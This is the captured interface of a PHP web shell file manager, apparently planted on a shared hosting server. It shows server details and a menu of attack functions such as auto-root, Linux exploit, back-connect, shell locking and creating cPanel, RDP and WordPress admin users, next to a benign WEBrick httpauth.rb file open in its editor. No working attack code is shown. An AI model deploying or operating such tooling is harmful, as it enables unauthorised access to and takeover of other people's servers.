Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby18 /
lib64 /
ruby /
1.8 /
webrick /
[ HOME SHELL ]
Name
Size
Permission
Action
httpauth
[ DIR ]
drwxr-xr-x
httpservlet
[ DIR ]
drwxr-xr-x
accesslog.rb
2.25
KB
-rw-r--r--
cgi.rb
6.92
KB
-rw-r--r--
compat.rb
436
B
-rw-r--r--
config.rb
3.13
KB
-rw-r--r--
cookie.rb
3.03
KB
-rw-r--r--
htmlutils.rb
584
B
-rw-r--r--
httpauth.rb
1.31
KB
-rw-r--r--
httpproxy.rb
7.46
KB
-rw-r--r--
httprequest.rb
9.99
KB
-rw-r--r--
httpresponse.rb
7.96
KB
-rw-r--r--
https.rb
1.64
KB
-rw-r--r--
httpserver.rb
5.63
KB
-rw-r--r--
httpservlet.rb
669
B
-rw-r--r--
httpstatus.rb
3.51
KB
-rw-r--r--
httputils.rb
9.96
KB
-rw-r--r--
httpversion.rb
1.12
KB
-rw-r--r--
log.rb
2.03
KB
-rw-r--r--
server.rb
5.28
KB
-rw-r--r--
ssl.rb
4.22
KB
-rw-r--r--
utils.rb
2.54
KB
-rw-r--r--
version.rb
351
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : httpauth.rb
# # httpauth.rb -- HTTP access authentication # # Author: IPR -- Internet Programming with Ruby -- writers # Copyright (c) 2000, 2001 TAKAHASHI Masayoshi, GOTOU Yuuzou # Copyright (c) 2002 Internet Programming with Ruby writers. All rights # reserved. # # $IPR: httpauth.rb,v 1.14 2003/07/22 19:20:42 gotoyuzo Exp $ require 'webrick/httpauth/basicauth' require 'webrick/httpauth/digestauth' require 'webrick/httpauth/htpasswd' require 'webrick/httpauth/htdigest' require 'webrick/httpauth/htgroup' module WEBrick module HTTPAuth module_function def _basic_auth(req, res, realm, req_field, res_field, err_type, block) user = pass = nil if /^Basic\s+(.*)/o =~ req[req_field] userpass = $1 user, pass = userpass.unpack("m*")[0].split(":", 2) end if block.call(user, pass) req.user = user return end res[res_field] = "Basic realm=\"#{realm}\"" raise err_type end def basic_auth(req, res, realm, &block) _basic_auth(req, res, realm, "Authorization", "WWW-Authenticate", HTTPStatus::Unauthorized, block) end def proxy_basic_auth(req, res, realm, &block) _basic_auth(req, res, realm, "Proxy-Authorization", "Proxy-Authenticate", HTTPStatus::ProxyAuthenticationRequired, block) end end end
Close